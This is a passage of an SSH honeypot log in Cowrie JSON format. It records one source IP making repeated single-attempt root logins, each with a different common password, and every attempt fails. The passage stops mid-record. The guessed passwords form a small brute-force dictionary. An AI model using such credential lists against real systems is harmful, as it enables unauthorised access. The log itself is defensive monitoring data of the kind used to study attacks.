{"eventid":"cowrie.login.failed","username":"root","password":"Pt3W48T2Q3YLfxRL","message":"login attempt [root/Pt3W48T2Q3YLfxRL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:43.385909Z","src_ip":"60.165.124.241","session":"1c4f81fe5c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:44.628230Z","src_ip":"60.165.124.241","session":"1c4f81fe5c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53574,"dst_ip":"10.17.0.5","dst_port":22,"session":"1283681beaa1","protocol":"ssh","message":"New connection: 60.165.124.241:53574 (10.17.0.5:22) [session: 1283681beaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:44.862219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:44.870011Z","src_ip":"60.165.124.241","session":"1283681beaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:45.107901Z","src_ip":"60.165.124.241","session":"1283681beaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cq@123456","message":"login attempt [root/cq@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:45.837846Z","src_ip":"60.165.124.241","session":"1283681beaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:47.077919Z","src_ip":"60.165.124.241","session":"1283681beaa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56720,"dst_ip":"10.17.0.5","dst_port":22,"session":"804727e6fc54","protocol":"ssh","message":"New connection: 60.165.124.241:56720 (10.17.0.5:22) [session: 804727e6fc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:47.312646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:47.317392Z","src_ip":"60.165.124.241","session":"804727e6fc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:47.554945Z","src_ip":"60.165.124.241","session":"804727e6fc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123@","message":"login attempt [root/Root123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:48.273262Z","src_ip":"60.165.124.241","session":"804727e6fc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:49.513526Z","src_ip":"60.165.124.241","session":"804727e6fc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59962,"dst_ip":"10.17.0.5","dst_port":22,"session":"188e8f3fbaf0","protocol":"ssh","message":"New connection: 60.165.124.241:59962 (10.17.0.5:22) [session: 188e8f3fbaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:49.750120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:49.756998Z","src_ip":"60.165.124.241","session":"188e8f3fbaf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:49.997805Z","src_ip":"60.165.124.241","session":"188e8f3fbaf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"se123456","message":"login attempt [root/se123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:50.723350Z","src_ip":"60.165.124.241","session":"188e8f3fbaf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:51.966418Z","src_ip":"60.165.124.241","session":"188e8f3fbaf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34744,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2b4db3196d8","protocol":"ssh","message":"New connection: 60.165.124.241:34744 (10.17.0.5:22) [session: c2b4db3196d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:52.245086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:52.249209Z","src_ip":"60.165.124.241","session":"c2b4db3196d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:53.247498Z","src_ip":"60.165.124.241","session":"c2b4db3196d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Oracle@123","message":"login attempt [root/Oracle@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:54.054875Z","src_ip":"60.165.124.241","session":"c2b4db3196d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:55.320227Z","src_ip":"60.165.124.241","session":"c2b4db3196d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38538,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04e34750e91","protocol":"ssh","message":"New connection: 60.165.124.241:38538 (10.17.0.5:22) [session: b04e34750e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:55.582096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:55.597062Z","src_ip":"60.165.124.241","session":"b04e34750e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:55.864715Z","src_ip":"60.165.124.241","session":"b04e34750e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"134679","message":"login attempt [root/134679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:56.673867Z","src_ip":"60.165.124.241","session":"b04e34750e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:57.934885Z","src_ip":"60.165.124.241","session":"b04e34750e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41726,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ac8e7bd9c25","protocol":"ssh","message":"New connection: 60.165.124.241:41726 (10.17.0.5:22) [session: 1ac8e7bd9c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:58.154229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:58.164685Z","src_ip":"60.165.124.241","session":"1ac8e7bd9c25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:58.397290Z","src_ip":"60.165.124.241","session":"1ac8e7bd9c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bananapi","message":"login attempt [root/bananapi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:27:59.383976Z","src_ip":"60.165.124.241","session":"1ac8e7bd9c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:00.634165Z","src_ip":"60.165.124.241","session":"1ac8e7bd9c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45154,"dst_ip":"10.17.0.5","dst_port":22,"session":"258bcacad1c8","protocol":"ssh","message":"New connection: 60.165.124.241:45154 (10.17.0.5:22) [session: 258bcacad1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:00.905278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:00.909904Z","src_ip":"60.165.124.241","session":"258bcacad1c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:01.173762Z","src_ip":"60.165.124.241","session":"258bcacad1c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password!123","message":"login attempt [root/Password!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:01.949173Z","src_ip":"60.165.124.241","session":"258bcacad1c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:03.203677Z","src_ip":"60.165.124.241","session":"258bcacad1c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48392,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3190880abb1","protocol":"ssh","message":"New connection: 60.165.124.241:48392 (10.17.0.5:22) [session: b3190880abb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:03.443192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:03.448481Z","src_ip":"60.165.124.241","session":"b3190880abb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:03.695253Z","src_ip":"60.165.124.241","session":"b3190880abb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nadx@2023","message":"login attempt [root/Nadx@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:04.446474Z","src_ip":"60.165.124.241","session":"b3190880abb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:05.694968Z","src_ip":"60.165.124.241","session":"b3190880abb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51328,"dst_ip":"10.17.0.5","dst_port":22,"session":"82122cda7c82","protocol":"ssh","message":"New connection: 60.165.124.241:51328 (10.17.0.5:22) [session: 82122cda7c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:05.922578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:05.930943Z","src_ip":"60.165.124.241","session":"82122cda7c82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com